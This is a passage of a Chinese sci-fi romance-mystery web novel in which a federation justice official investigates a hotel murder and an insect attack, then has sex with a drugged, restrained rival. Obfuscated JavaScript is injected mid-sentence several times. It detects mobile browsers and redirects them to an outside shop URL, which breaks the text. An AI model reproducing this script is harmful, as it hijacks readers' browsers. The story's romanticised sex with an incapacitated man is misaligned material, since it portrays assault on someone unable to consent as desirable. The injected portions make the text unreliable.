更重要的是,这个案子的结果成功推动了精神体平权法案的修正。 此案之后,宁以歌的职业生涯平步青云,其中细节百里寻不了解,他只知道再得知宁以歌的消息时她已经受现任司法部部长风凌的赏识,在一年前正式任职成为司法部副部长。 那时候的她才二十五岁,毫不意外地成为联邦政府中年纪最小的核心成员。不仅如此,她还是百年来第一个成为星舟联邦政府要员的C级精神体拥有者。 百里寻喝完一杯酒,仰起脸盯着头顶上闪烁的彩灯,声音飘忽不定:“还真是……不管当年还是现在,她总是那个能够吸引所有人目光的例外。” “不说她了!喝酒喝酒。”温昱给百里寻倒满一杯酒,和他碰了一杯,“寻哥,为什么你会被卷入这个案子里面啊?” “有卖国贼行动了,拉我垫背。”百里寻坐起身,神色阴沉,“不知道这个人想干什么,居然敢拉我当替罪羊。” 温昱也正色起来:“搞不好他是想陷害你们整个家族。” “嗯。”百里寻沉闷地喝完一杯拿起酒瓶想再倒,却发现自己点的酒居然全部喝完了,温昱见状要按铃呼叫服务员,被百里寻制止,“你不是说有事想跟我说吗?说吧,说完我就走了。” 温昱打开自己的光脑,给百里寻看:“这些天你错过的消息可多了,上周有老同学说要组织同学聚会,地点在第二星的五星级度假酒店天上楼,时间是七天后。我就是来看看你怎么样了,顺便问问你想不想去参加这次聚会?” 百里寻的颓丧之气还没有散尽,他懒散地瞥了一眼屏幕,都是些当初一起厮混的熟悉的名字,有些毕业后还在断断续续地联系,有些连长什么样都忘了。 温昱观察百里寻的神色:“你是不是还想在家休息会?要不我帮你拒绝了?” “不用,我去。” 百里寻站了起来,理了理衣服,穿起外套,他需要一些热闹的活动抵消自己这些日子的糟糕记忆,至于和谁一起不重要。 百里寻打开包厢门,穿过鞠躬的侍者们,走向夜店大门,途中脚步一顿,偏头瞅了一眼不远处五光十色的舞池。有人在监视他,似乎是那个调查小组的人。 毕竟他才刚洗脱嫌疑,安全部不放心派人监视也算合情合理。 百里寻没说什么,也没回答温昱困惑的目光,继续往前走,带着一身酒气离开了伊甸乐园。 * 庭审之后,宁以歌沉浸在司法部日常事务中,再度听说调查组进度的时候已是三天后。 调查组兵分两路,其中一组正在排查L85设计组所有成员的嫌疑,其中副总设计师戴维正在外度假,被通知返回主星接受调查后满口答应,表示两天后回来。到了约定的期限,这位副总设计师却失联了。 等调查组赶往戴维度假的酒店,只得到了一个噩耗。 他死了。 报案人是陪同戴维度假的情人,这位副总设计师一直未婚,倒是在外养着一大帮情人,此案的报案人只是他的情人之一。 情人只是去洗澡的功夫,进去前戴维还好端端在床上坐着,出来后就看见他倒在了床上,胸口被人连开了数枪,鲜血染红了半张床。他的左腕上的光脑也不见了踪影。 房内也被人翻箱倒柜搜查一通,连他锁着行李箱的保险柜也被人砸烂,行李箱里的文件和包裹散落一地,而这一切发生的时候,浴室内的情人毫无察觉。 初步断定,凶手可能是团伙作案,如果情况更坏点,其中还有能够掩藏行踪的异能者。 调查组搜寻良久,也没找到什么关键线索,只能调头继续调查设计部所属的光锥科技公司。光锥科技公司是一家近几年壮大的民营企业,主要负责L85这一型号武器的设计与生产,老板是退伍军人出身,面对涉嫌走私联邦机密军火的罪责,他吓得连夜坐飞船从公司所在的第三星赶来首星配合调查向政府表明忠心。 宁以歌看完大概的报告,目光落在这桩杀人案的发生地点。第二星知名五星级度假酒店天上楼。 她问夏洛特:“天上楼还在正常营业吗?” 夏洛特很快回复消息:“在!我们只封锁了案发现场的那一层楼,而且现在已经恢复开放了。并且我们切断了所有可能泄露消息的途径,现在住在里面的游客们都不知道发生了什么事,还在正常游玩呢。” 宁以歌:“好,谢谢,你们辛苦了。” 结束与夏洛特的会话,宁以歌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203759|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思考了一下,拨通了安迪的电话:“安迪,你不是一直想去第二星度假吗?” 安迪的声音很兴奋:“对呀对呀!怎么啦?你要去度假吗?” “对,四天后,我正好休息两天,我们去第二星走一趟。” “好哦!你怎么开窍了终于知道要享受生活了?”安迪问,“对了,我听朋友说,那里的五星级大酒店天上楼服务和环境都特别好……” “我们就定那里的住宿,要两室一厅的房型,你定完找我报销。” “我爱你以歌!”安迪迅速地挂了电话。 当四天后,宁以歌与安迪站在天上楼前,安迪才得知她们此行的真正目的。 安迪垂头丧气:“宁以歌你真的是个工作狂,有谁会想着在来之不易的休息日里跑到这里调查和自己没关系的案子!”她瘪着嘴扯了扯身上精心搭配的度假套装:“亏我还带了一行李箱用来拍照的漂亮衣服。” 宁以歌安抚她:“如果不是我预想中的情况,我们俩还能玩两天。” “得了吧,以歌,你预想中的情况每一次都能应验,我还是做好工作准备吧。” 第二星是星舟联邦中服务业最发达的行星,这颗行星上气候极佳,自然风景最为丰富,更是存在着联邦最大的重点自然物种保护区。每一年都有无数来自其他行星的旅客来此度假休憩,只是这里的消费水平同样随着服务业的发达水涨船高,这里天堂般的生活仅手有余钱的富人可见。 第二星庞大的服务业以及配套的商业吸引而来的还有鱼龙混杂的打工者,这也造就了第二星一直头疼的安保问题。 由于大量员工缺口,第二星的服务企业不得不放宽对打工者的限制,这就导致一些黑户和伪造身份的人也能混入其中,远远做不到首星对出入大型公共场所人员的核查程序。 所以发生了这样的杀人案还半天找不到凶手线索也算是情理之中。 天上楼恰如其名,是一座悬在空中的大酒店,近似一艘椭圆形的飞船,需要坐直梯上去。酒店一共36层,外表银白充满科技感,内部装修却金碧辉煌。 在前台办理入住的时候,宁以歌路过一层的用餐大厅,不由得停了脚步。 大厅门口对外展示的屏幕上清晰地放映着一张学生合影。合影中大概有二三十人,全是宁以歌见过的面孔。 合影上写着一行字:“墨菲学院775届优秀毕业生毕业七周年聚会。” 这张合影中的中心人物留着一头精心打理过的微曲的及肩白发,金色的眼瞳淡淡地注视着镜头,不是百里寻还能是谁?而簇拥在他周围的都是当年成日和他一起鬼混的狐朋狗友们。合影里的除了百里寻,没有一个是学院颁奖的优秀毕业生,而百里寻的优秀毕业生名号还得益于他那个顶配精神体。 安迪也注意到了这张合影:“他们怎么也在这里?还优秀毕业生,不都是些没啥本事就知道啃家里老本的富二代官二代吗?也太不要脸了!” 宁以歌冷哼一声,别开脸:“碍眼。” 5. 意外 宁以歌与安迪的房间在六楼靠近逃生通道的位置,这是宁以歌特地选的,她出门在外一向很小心。 她们入住的是宁以歌要求的两室一厅房型,宁以歌选择靠窗的卧室,让安迪睡在靠近酒店走廊的那一侧卧室。 一进门,宁以歌就闻到空气中的香氛气息,她认出来,这是从第二星特有而稀少的植物海月花中提炼的香氛。 “海月花有一种罕有人知的功效,它与常见的调酒香料普罗草在一起可以产生催情作用。”宁以歌皱起眉,“我曾听说一些情趣酒店会利用这一点吸引顾客。但为什么这里会出现海月花香氛?” “不愧是你,这都闻得出来,还记得那么清楚。”安迪努力嗅了嗅,“怪好闻的,咱两又不喝酒,管他呢!”然后她拖着行李箱进了自己房间。 宁以歌没带什么行李,她检查一遍卧室中的所有家具以及记忆这间房的整体布局,然后对着卧室里的落地镜子仔细整理了一下一路上被风吹乱的头发,重新带好颇具海岛风情的遮阳帽。明明看起来一副度假装扮,但镜子中的女人漆黑的眼瞳中没有半分轻松喜悦,只有无限沉郁。 做完这一切,那边的安迪也放好了行李,等宁以歌一起出门。 在出门之前,宁以歌拿出三枚录影胶囊,分别摆放在两间卧室和客厅不易察觉的角落中,并一一打开。 她们离开这间房,锁好门,前往案发地点所在的21楼。 21楼零零散散住着一些旅客,此时不是旅游旺季,没住满也是常态。遭遇刺杀的设计师住在这层楼中部的房间,房型一室一厅,正对不远处的海滩,风景极佳,可惜宁以歌和安迪现在进不去,只能在门口拿出现场照片比对。 凶手想要逃离现场只能通过窗户或者门口,门口的监控没有拍到影像,那只能是从窗户走的。 这栋酒店所有用来住宿的房间窗户全部是一个样式,宁以歌刚刚已经检查过自己房间的窗户,是弧形全开的窗户样式,完全打开时足够容纳一个成年人进出了。 但窗户具有防盗性能,只能从里面打开,不能从外打开。凶手是被害者的熟人? 宁以歌摸摸下巴:“这个设计师多半真有嫌疑,所以被同伙杀人灭口了。” “所以这些结论调查小组应该也能推断出来,我们问他们不就好了,何苦还亲自来跑这一趟?”安迪还是不理解宁以歌此行的目的。 “我毕竟不是安全部的人,他们没有把所有细节告诉我的义务,向我同步进展也只是看在我出风头替他们分担此案责任的人情上罢了。”宁以歌走向不远处的电梯,“更何况,我觉得这事没准我自己来一趟会得到更多线索。” 安迪困惑地眨眼:“可是,调查小组都没找到的线索能被我们俩找到?” “安迪,你应该时刻记住,我和他们都不一样。他们是局外人,而我不一定是。”宁以歌笑了笑,“你知道这座酒店的历史吗?” 安迪也做过一些功课:“这家酒店成立于新历740年,第一任老板是圣魂教的狂热信徒,曾多次在酒店中秘密组织传教活动,后来因为内部矛盾,被手底下的人举报了,现在还在牢里关着呢。现在这任老板是政府介入扶持上来的,至少后来二十年里都安分守己,也把天上楼经营得井井有条。” “是的,但你得注意,老板倒台,并不代表整个酒店的管理层就干净了。”宁以歌说。 “你是说,现在这家酒店里还可能存在狂热信徒?”安迪问,“联邦严令禁止私下传教,也加大了对这里的监管力度,他们还能干什么?” “比如,在某个契机死灰复燃,找到让圣魂教再度兴起的途径。” “途径是通敌叛国?” 宁以歌点头:“没错,圣魂教依然是辰冕帝国的国教,倘若辰冕帝国的间谍加以诱惑,不排除他们动心的可能性。” 安迪脑子很乱:“那如果真有狂热信徒……” “如果真有狂热信徒,并且他们发现了我,从我们踏入这座酒店起我们就已经被监视了。”宁以歌抬起头看向电梯中的摄像头,“因为我是他们的敌人。” 圣魂教诞生于星际物种大异变时期,与人类文明在后星际时代的发展紧密相连。该宗教有两条核心教义。其一,精神体是魂主赐予人类的礼物。其二,高级精神体是魂主给予的嘉奖,而低级精神体是魂主对个体的惩罚。 因此,在圣魂教内宣扬着一种极端的思想,低级精神体拥有者不值得政府去浪费资源,他们是活该被淘汰的社会耗材。同时圣魂教干涉低级精神体拥有者的受教育权,拥护高级精神体拥有者成为精英阶层,而精神体等级又基本遵循遗传规律,这就导致社会阶级的进一步固化。 近年来由于社会发展逐渐步入稳定阶段,星舟联邦政府意图打压这种压迫底层人民的危险思想,由此产生出两种派别,保守派坚决维护圣魂教的利益,而改革派坚决打击圣魂教在联邦内的影响力。 宁以歌以六年前的性侵案而成为了远近闻名的改革派代表人物。所以成为狂热信徒的眼中钉、肉中刺也是情理之中的结果。 她们回到住处,叫了两份酒店内的外卖,简单对付了下。吃完饭,天色已暗,宁以歌分别打开三枚录影胶囊看了一眼,没有人进入过她们的房间。 安迪百无聊赖地趴在窗台上,托着腮望着楼下灯火通明的夜市。宁以歌打开了客厅中的屏幕,随便挑了个影片充当背景音乐,专注地在光脑中记录今天的所见所闻。 忽然,楼下夜市灯光不稳定地明灭,隐隐约约有游客惊慌的叫声传来。 “一级警报,一级警报!异种入侵!异种入侵!请各位旅客朋友迅速返回室内,切勿靠近门窗,酒店即将启动防御机制!” 巨大的黑影掠过窗前,安迪连连后退,在她伸手要去按窗户的开关把窗户关上时,一只约有一人身长的黑色巨型飞虫冲进了她们的屋内,踩碎了沙发与桌椅,张大骇人的口器对着宁以歌嘶鸣。 安迪在巨虫的身后抽出随身携带的折叠长刀,猛地向巨虫腹部刺去,趁着巨虫回头的间隙,她大喊:“宁以歌,进房间,启动防御门!” 宁以歌退回自己的房间内,关闭房门并启动钢制的防御门,将自己与客厅的危险彻底隔绝开来。 星际物种大异变时期产生了许多新物种,其中以昆虫为代表,一部分昆虫的体型增长为原来的数百倍乃至数千倍,食性也产生巨大变化,反以动物血肉为食,被统称为异种。这些异种几乎遍布星舟联邦境内的每个星球,只是寻常遭受人类活动区的声呐装置驱逐而蛰伏于荒野,难以大面积伤人。 这里的声呐装置出问题了? 宁以歌来到窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203760|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,想在酒店启动防御机制之前通过玻璃窗再查看眼外面的情况,一道灰色的身影冷不丁出现在她的面前。 百里寻死死抓着她卧室的窗沿,敲打着她的窗户,拼命做着口型示意她开窗。 他的身边外墙上有两只巨型飞虫收了翅膀正一左一右向他夹击而来。 “警告!警告!将在三十秒后启动防御机制,请远离门窗!” 宁以歌打开窗户,一手将衣衫凌乱的百里寻扯了进来。 百里寻滚进房间,身后窗户外的防御钢罩霎时间闭合,将已经伸进来的两只虫腿生生截成两段,酒店的防御机制已经启动,所有的防御钢罩已经落下,整座酒店已经化为一枚坚硬的贝壳,将新一波异种潮抵挡在外。 宁以歌的光脑震动:“以歌,我解决掉了客厅那个大家伙,你没事吧?” “没事。”宁以歌警惕地盯着面前站起身整理衣衫的男人,声音紧绷。百里寻身上带着淡淡的酒味,应当是刚刚结束那场所谓的优秀毕业生聚会。 “真没事?算了,你有事的话叫我,我先回房间了啊。” 宁以歌关闭光脑,抱着手臂,上下打量一眼百里寻。 百里寻局促地错开宁以歌审讯的视线:“那什么,谢谢啊!真没想到你也在这里。我刚刚从同学房里出来,想直接通过安全通道上来,呃,我房间就在下面五楼。结果安全通道的窗户没关,有两只异种就冲过来了,我逃到六楼,六楼的门不知道被谁锁了,我只能翻出窗户,没想到边上就是你的房间……” “等会儿危机解除,防御罩打开,我就走。”话音刚落,百里寻忽而困惑地眯了眯眼,“你这里开暖气了?” 宁以歌莫名其妙,这里气候宜人,大晚上也没冷到要开暖气的地步。“我开暖气做什么?” 百里寻的脸上渐渐呈现一种不对劲的红色,宁以歌警惕起来:“你怎么了?” 宁以歌的手悄悄伸到身后,紧握住她日夜携带的别在后腰的微型手枪,只要面前的男人有任何异动,她会立刻毙了他。 百里寻脸上泛起的红越发浓烈,他似乎原本想说什么,但一阵头晕目眩,令他不得不扶住身旁的圆桌稳住身形。 等到找回身体的平衡,百里寻扶额的手也放了下来,一改原本的狼狈,眼神毫不掩饰地打量起眼前的女人。 带着赤裸裸的欲望。 “百里寻?” 这个男人现在的状态很不对劲。宁以歌的右手将枪握得更紧。 百里寻突然往前一步,就在宁以歌想往后退时一手环住了宁以歌的腰,将她扣入怀中。 宁以歌的眼睛眯了起来,她与男人迷离的金色眼瞳近在咫尺。 即使是宁以歌也不得不承认,百里寻拥有一双夺目的眼睛。她欣赏这双特别的眼睛,只是不希望是在这种失控的情景下。 再美的眼睛失去了神采就没有了欣赏的价值。 宁以歌本应该在这时推开百里寻,但她忽然改变了主意。 “百里寻,你会后悔的,现在停止还来得及。” 女人轻笑时的吐息如火舌舔过百里寻脖颈上最敏感的区域,蚕食尽他最后一丝理智。 他的声音模糊在潮湿的呼吸中。 “来不及了。” 下一秒,他俯身,吻住了宁以歌的唇。 6. 幻梦 新历774年春季,首星,墨菲学院。 百里寻领着一帮死党在学院中心广场闲逛,又是一年新生季,看着广场中接待新生的老师与老生忙前忙后,在一边听着身边兄弟讨论和猜测所看见的新生的家庭背景以及精神力级别的的百里寻觉得还挺有意思。 墨菲学院作为星舟联邦排名第一的高级学府,资源与环境都是顶级的。初入墨菲学院的新生无不好奇地东张西望,其中绝大多数连基础精神力都没掌握好,放任精神体四处乱跑,学院的保安部也是难得忙碌。 听说今年从平民中筛选的新生的比例又达到新高,百里寻的这些弟兄们很是不屑:“到底都是底层出身,即使撞大运拥有一个上佳的精神体又有什么用?毕业之后还不是回贫民窟继续呆着!” 他们一齐大笑起来,百里寻没有笑,他的注意力被一个黑发黑眼的少女吸引。 少女背着陈旧的布包不疾不徐地从新生登记处走出,前往宿舍楼。她的脚边紧跟着一只矮小洁白的山羊,山羊虽然整洁干净,精神抖擞,但灰黄色的左角缺了一半,看起来格外滑稽。 只是多看了她两眼,百里寻身旁的男生就敏锐地捕捉到了百里寻的关注,对同伴们使了个眼色,簇拥着百里寻一齐往前走去。 等百里寻反应过来他们要做什么的时候,那男生已经率先于他一步拦在山羊女生的面前:“喂!我听说今年学院破例招收了一名来自第十一星的C级精神体拥有者,是不是你啊?” 十七岁的宁以歌还留着厚厚的齐刘海儿,她抬起头时,漆黑的瞳孔从刘海的阴影里露出来,明明五官清秀却看起来劲劲的。 “呦,看你这精神体还是个残疾的,怎么还能评上C级?D级还差不多吧哈哈哈!” 宁以歌沉默以对,她没有丝毫怯懦的眼神激怒了男生,男生伸手要推搡她,她却轻巧侧身躲了过去,冷冷地看着男生一个踉跄,平静地回答:“我就是那个C级精神体拥有者,我叫宁以歌,你们记住。” 记忆里的宁以歌本该在旁边老师赶来时逃脱男生的再一次攻击,然后扬长而去,但她没有。宁以歌站在那里,毫无征兆地将沉静的目光转向百里寻,安静而长久地注视着,注视到百里寻心里发毛,他转身想走。 忽而脚下一软,百里寻跪倒在学院广场光亮的大理石砖上,他难以置信地望着自己不受控制的双腿,一股不知从何而来的重力压在他的腿上。他转过头,却看见了近在咫尺的宁以歌。 宁以歌从背后将他压倒在地,一把揪住了他脖上的领带,只是稍微用力,窒息感迫使百里寻向后仰头。 百里寻拼尽全力调动精神力,召唤精神体,却惊恐地发现一切都失败了。怎么可能,怎么可能?他S级精神体怎么会被区区C级压制? 一脸稚气的宁以歌笑了起来:“S级精神力,也不过如此!” 头顶的日光在迅速黯淡,周围的校园和大声嚷闹的师生消失了,天地间除了百里寻自己只余下骑坐在百里寻身上,粗鲁扯下他的衣服,把他像狗一样玩弄的宁以歌。 这不是现实,这是梦,因为宁以歌绝无可能有这样的本事!为什么自己会做这样的梦? 身后的宁以歌俯下身,她那一头如黑色绸缎的长发流淌过百里寻的后颈,发丝如凉雨落在他火热的皮肤上激得他一颤。 下一刻,她长驱直入将他的思路生生掐断。 “宁以歌!你……你在干什么?” 宁以歌一字一顿:“我,帮你,解毒啊。” 百里寻惊恐地发觉自己身体里确实窝藏着一团不明原因的燥火,他不受控制地想靠近身后的这一丝凉意,却被粗暴地捏住了下巴,掰过脸望向罪魁祸首。 罪魁祸首没有说话,只是居高临下地看他,似乎看够了,又施舍与他喘息的机会。 百里寻在痛苦与欲望的共同绞杀中无处可逃,他只得在风暴的间隙勉强呼救:“你!你能不能温柔点?我是第一次……” 女人的动作停了,她附在他的耳边问:“什么第一次?是前面还是后面?” 百里寻从未感受过如此巨大的羞辱,乃至于愤怒短暂地取代对欢愉的贪恋:“宁以歌,你什么意思?我当然……唔!” 宁以歌的手指堵进了他的嘴,这个恶劣的女人理所当然地在他的耳边讥讽他:“谁会信你的鬼话?” * 梦境随着欲望之火的熄灭而渐渐模糊。 百里寻的眼珠转动,恢复了意识,心有余悸地想,这迷乱的一切果然只是一个梦。 他睁开眼睛,映入眼中的却是全然陌生的房间。 不对。 百里寻想揉眼,却失败了。他顺着伸向头顶的手臂缓缓看去。 他的双手被合金手铐、领带以及不同材质的绸带麻绳紧紧拴在床头,手腕处因为挣扎留下的血痕清晰密布。 他又低头看向身下的床,床单凌乱,脏污不堪,还似有不少撕裂出来的缺损。 再往下看,柔软的棉被掩盖的是他赤裸的身体。 百里寻僵住了。 他终于想起来看向床边座椅上的人。 宁以歌神色古怪地看他打量现场的过程,反倒像松了一口气:“看你这样,总算清醒了?比我想象中的快一点,天都还没亮。” 她站起来,俯身解开他腕上的绳索和手铐。 百里寻好半天才找回自己的声音,一开口却喑哑非常,不禁咳了几声。 宁以歌从善如流地将一杯水递到他嘴边。 百里寻颤着唇:“昨晚发生什么了?” “你想睡我。” “然后呢?” “被我睡了。” 百里寻的世界在一瞬间轰然崩塌。 世界崩塌前的最后一秒中,百里寻又看见了宁以歌脖子上的吻痕,她领口处不翼而飞的扣子以及锁骨上的齿印。 宁以歌平静回应:“都是你啃的。” 百里寻:“……” “行了,别发呆了,你衣服在这,脱得匆忙,可能有点扯坏了,还有点脏。你先凑合穿,楼下有服装店,你可以再去买套新的。” 百里寻连忙穿了条裤子就捏着衣服躲进了房间自带的卫生间。 他对着镜子,仔细检查了一遍身体,除了手腕上的血痕、背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203761|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的红印和腰间的几处淤青,其他地方没看出毛病。他穿上衣服,看着镜子里的自己,脑海中模糊记起昨晚的情形,脸红到几乎滴血,只得狠狠掐了一把胳膊,强迫自己冷静,待脸上看不出异常后才走出卫生间。 谁承想,一出卫生间,他就发现自己的精神体白虎不知道什么时候从精神图景中跑了出来,现在正在房间的一角和宁以歌的精神体山羊黏在一处,两只动物似乎还在温存,你舔我我亲你,难舍难分,不堪入目。 百里寻顿时无地自容,一脚踹在白虎身上,恨铁不成钢地训斥:“阿金,你一个老虎跟只羊在那卿卿我我,丢不丢人!” 这一脚扯得百里寻自己腰痛,他的手下意识想扶上腰侧,余光却捕捉到了宁以歌探寻的眼神,于是缩回了手,强装无事。 白虎阿金委委屈屈地站起来,宁以歌的山羊也跟着站起身,似乎还想护在白虎前面。 百里寻毫不犹豫地命令阿金返回精神图景。 一边的宁以歌露出意味不明的笑容,似是在看热闹。百里寻却不敢看她,转身就要推房门离开。 “哎。” 百里寻不理她,自顾自去摸门的开关,却被宁以歌的手挡住了。她依然戴着那双白色手套,手套的尾端没入宽松衬衫的长袖中,没有露出一寸皮肤,仿佛昨晚也没摘下过一般。 “你也不想被别人发现昨晚跟我共处一室吧?”宁以歌微抬下巴,意味很明显。 百里寻无名火冲上脑门,语气不善:“那你想我怎么走?” 宁以歌走回窗边,天还未亮,酒店的防御已经解除,异种也消失无影。她打开窗户,而后沉静地看着百里寻:“你昨晚怎么来的,就怎么走。” 百里寻觉得自己的待遇简直就像偷情的奸夫,他在心里将宁以歌骂了个来回,又无意中再次瞥见宁以歌脖子上的吻痕,一下子泄了气,最终忍气吞声地翻过窗户,消失在宁以歌的视线里。 等百里寻终于消失干净,宁以歌轻转左手食指上一直佩戴的银色戒指,房门就被安迪推开,安迪神色紧张:“你昨晚还好吗?那家伙有没有伤害你?” 安迪还想继续说下去,却突然看见了宁以歌脖子上的吻痕,眼睛蓦然瞪大,扑了上来,解开宁以歌的领口,又看见了一处齿痕,发出爆鸣声:“这些是什么!你们昨晚干什么了!” “没什么。”宁以歌镇定地推开安迪,“这就是他给我造成的全部伤害了。” 宁以歌的脸色依然平静,倒是安迪一脸崩溃:“真的吗?以歌,你昨晚应该放我进来暴打他的。” 宁以歌叹口气:“我真的没事,倒是他的状态,像是药效发作了。” “什么药效?” 宁以歌闭上眼睛,浅浅吸气,空气中的海月花香氛依然浓郁:“当然是我昨天和你说过的,海月花与普罗草的药效。他身上有酒气,我猜测,他喝了含有普罗草的酒,又闯入我的房间闻到海月花香氛,药效就发作了。” 她从包中取出一根丝带系上缺少了一枚扣子的衣领,勉强遮住令人遐想的痕迹,然后示意安迪换衣服和她出门:“看来我们的假期要提前结束了。” 7. 野猫 宁以歌在侍者的带路下走进天上楼经理的办公室,她身边的安迪已经换上属于保镖身份的轻甲,寸步不离地跟在宁以歌身后。 宁以歌举起代表身份的勋章,冰冷的目光紧盯面前手足无措的经理,不苟言笑的脸看起来极其严肃:“你是天上楼本月的值班经理宋先生吧?您好,我是联邦政府司法部副部长宁以歌,现在我需要你配合我进行调查。” “您说您说。”宋经理连忙示意宁以歌坐下慢慢说,但宁以歌拒绝了,她不想浪费时间。 “第一个问题,酒店的香氛种类你们平时是怎么安排的?随机?” 尽管宋经理一头雾水,但他还是连忙从办公桌前的显示屏中调出记录香氛布置的记录:“我们通常都是按照一定顺序在房间内放置不同种类的香氛,一周一换,选用的都是不会产生过敏且易被顾客接受的奢牌香氛。” 宁以歌迅速在记录表格中定位了自己房间的信息,这周恰好轮到她的房间号放置海月花香氛,看起来没有破绽。 “嗯,第二个问题。”宁以歌让他关闭表格,“昨天一楼大厅有人在举办同学聚会,里面的服务人员都是你们酒店的员工吗?菜品酒水都是你们准备的吗?” “是的,菜品是我们酒店的厨师做的,酒水也是直接购买的本店的。里面的服务员也都是我们酒店的员工。”宋经理对那群贵公子们印象很深,他们给起小费毫不手软,服务员们一个个都抢着去服侍他们,“哦对对,除了一名调酒师。” “调酒师?” “对,这名调酒师是他们自己带来的,他利用在本店购买的酒水给他们现场调配酒品,只有他不是我们的员工。” “给我看看监控,我想知道那名调酒师长什么样。” “真是不好意思,当时他们聚会的时候要求不能有监控,我们就全关了。”宋经理冷汗出了一背,那些公子哥中有几个他认识,都是惹不起的主儿。 宋经理一边忙不迭地回答宁以歌的问题,一边飞速思考,这位来自首星的宁部长问这些问题是做什么,他原本以为宁以歌是因为昨晚异种的事情来兴师问罪,却没想到目前为止她询问的都是些和异种无关的问题。 宁以歌没什么表情:“刚刚我问你的这些问题,不允许有第四个人知晓。” 宋经理连连点头犹如鸡啄米:“宁部长您放心,保证保密!” 宁以歌如宋经理所愿将话题转回了异种袭击一事:“昨晚的异种袭击是因为声呐出了问题?” “我们第一时间联系了抢险队,他们确认声呐上有异种撞击的痕迹才导致损坏,您也知道,有时候就是运气不好碰上那么一两只不惧声呐的变异体。现在声呐已经修好很久了,您要去亲自检查一下吗?” “不必了。”宁以歌说,“我想见见昨晚声纳控制室的值班人员。” “这……”宋经理有点紧张,“您是怀疑……” “不要废话,带我去。” 宋经理怎么会看不出来,此时的宁以歌明显将声纳控制室的值班员工视为制造出这场异种袭击的嫌疑人,而这本来是一个可以就此揭过去的意外事件。 可他没有拒绝的权利,只能顶着宁以歌催促的目光带着她们俩快步前往顶楼的声呐控制室。 “我们声纳控制室是轮班制,一个人值班八个小时,这会儿刚好能赶上她值班的最后一小时。”宋经理说着停在值班室的门口,就要按铃,却被宁以歌制止。 宁以歌微抬下巴,示意他直接开门。宋经理顺从地取出身份卡,刷开了控制室的门禁。 值班员工背对着他们,坐在控制台前的金属旋转座椅上,一只手垂落在身侧,鲜血从她的指尖滴落在地面的手枪上,又沿着地砖缝隙缓缓流淌。 她已经饮弹自尽了。 “这、这,宁部长?” 宁以歌只是静驻三秒,而后漠然转身离开控制室,一步未停:“报警吧。” 夏洛特带着调查小组赶到的时候,宁以歌正坐在酒店一楼大厅的沙发上面色沉沉地在光脑上浏览今日晨间新闻。而安迪笔直地站在宁以歌的身边,一身透着寒光的银甲使不明情况的路人也不由得退避三舍。 见到夏洛特等人出现,宁以歌才关闭光脑,站起身来:“早,夏洛特。” “宁学姐!”夏洛特给宁以歌一个热情的拥抱,而后神色担忧地问她,“怎么这么不巧,你刚来度假就遇到这样的事!你没有受伤吧?” “没有,只是可惜不知是不是因为我的行动,关键证人自杀了。” “她死了就死了吧,她篡改声呐频率后没有第一时间逃走就说明她已经想好了自己的结局。至少肯定与你无关。”夏洛特说着说着目光忽然凝滞在宁以歌身上某处。 “学姐,你的脖子上的是……” 宁以歌摸上脖子上的那露出一角的深色印记,从容地回答:“昨晚窗户没关严实,让野猫溜进来咬了我一口。” “野猫?”夏洛特很疑惑,“这里有野猫?” 注意到宁以歌很显然不想跟她探讨这个问题,夏洛特反应很快:“啊,我是听说最近有人在天上楼附近看见野猫,得让酒店多提醒游客注意,不能再发生这样的事情。” 宁以歌将自己找到的有关昨晚这场异种袭击的所有疑点和线索整理成一份报告传给夏洛特:“我觉得昨晚这场袭击和前几天的杀人案有关系,辛苦你们再往下查查。” 自然,报告中她对昨晚与百里寻之间发生的事情只字未提。 “好,我们一定尽快调查。” 宁以歌这才与安迪回到房间收拾行李准备返回首星。收起录影胶囊之前,她挨个检查了一遍录影内容。三枚胶囊尽职尽责地记录下了昨日屋内的一切情景,包括两个女生在房间内的正常活动、当晚发生的异种袭击以及……那个不同寻常的百里寻。 宁以歌眯起眼睛,甚至放慢了回放的速度只为更仔细地打量那一晚失态的他。 “以歌,你看什么呢笑这么奇怪?” 宁以歌啪地关闭影像,收起自己未意识到的上扬的嘴角:“没什么。” “哦。”安迪虽然没再问什么,但宁以歌清楚此时她掩藏在面罩后的脸上一定依然神色狐疑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 